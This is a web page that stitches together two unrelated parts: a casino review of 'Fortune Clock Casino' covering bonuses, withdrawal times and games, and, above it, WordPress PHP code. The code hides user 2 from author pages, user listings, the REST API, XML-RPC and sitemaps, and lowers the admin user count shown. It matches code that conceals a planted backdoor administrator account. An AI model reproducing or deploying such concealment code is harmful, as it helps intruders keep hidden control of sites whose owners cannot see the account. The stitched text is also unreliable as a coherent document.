add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The welcome offer looks punchy on paper – a 200% match plus free spins. But the real question is whether you can clear it. The published terms show 35x wagering, a minimum deposit of $20, and a 30-day validity window. That’s workable, but there’s a catch: some bonus pages show expiry dates that are already in the past. That’s a red flag. Before you commit a penny, check the cashier for the live offer, not the marketing page.
Here’s what the bonus landscape actually looks like:
The no-deposit offers are the messiest. Some pages list “expires in X days,” while others show fixed dates that have already passed. That inconsistency tells you the site isn’t meticulously maintained. A stale bonus page isn’t a dealbreaker, but it does mean you should verify everything in the cashier before depositing.
Here’s the thing about withdrawal times – operator processing and bank processing are two different clocks. The published table separates them clearly enough, but you need to know both before you pick a payment method.
| Method | Deposit Time | Withdrawal Time | Min Deposit / Withdrawal |
|---|---|---|---|
| Visa / Mastercard | Instant | 1-3 days | $10 / $20 |
| Skrill / Neteller | Instant | 24 hours | $10 / $20 |
| PayPal | Instant | Not published | $10 |
| Paysafecard | Instant | Not published | $10 |
| Bitcoin | 30 minutes | 2 hours | $20 / $50 |
| Bank transfer | 1-3 days | 3-5 days | $50 / $100 |
Notice the gaps. PayPal and Paysafecard don’t have published withdrawal times – that’s a hole you should question before depositing. The general statement says withdrawals are processed within 24 hours after verification, but that’s the operator’s clock, not your bank’s. E-wallets are your fastest exit; bank transfers are the slowest.
Getting your account verified is where most players trip up. The registration process is straightforward enough:
The terms page is strict on one thing: one account per player, and no third-party deposits. That means the card or wallet you deposit with must be in your name. If you try to fund an account with someone else’s PayPal, expect your withdrawal to be blocked and your account flagged. Also note that two-factor authentication is described as optional – turn it on anyway. It’s free protection.
The published slot list shows 60 games from 28 providers, including NetEnt, Play’n GO, Pragmatic Play, and Evolution. That’s a verifiable number – you can count it yourself. But if you see claims of “2000+ games” anywhere, treat that as unconfirmed. The site doesn’t publish a full lobby count, and the table and live casino sections don’t list specific variants or limits. Demo mode is available, which is useful for testing games before you risk real money. The RTP figures for some slots are published too – Book of Dead at 96.21%, Starburst at 96.09% – which is more transparency than most casinos bother with.
Fortune Clock Casino is a mixed bag. The published banking table is genuinely useful, the wagering requirements are reasonable, and the game list is checkable. But the stale bonus expiry dates, the missing withdrawal times for some methods, and the unconfirmed game count mean you should approach with caution. Verify every offer in the cashier before depositing, pick an e-wallet for faster withdrawals, and keep screenshots of every bonus term you claim. The casino gives you enough to work with – just don’t trust the headline numbers until you’ve confirmed them yourself.
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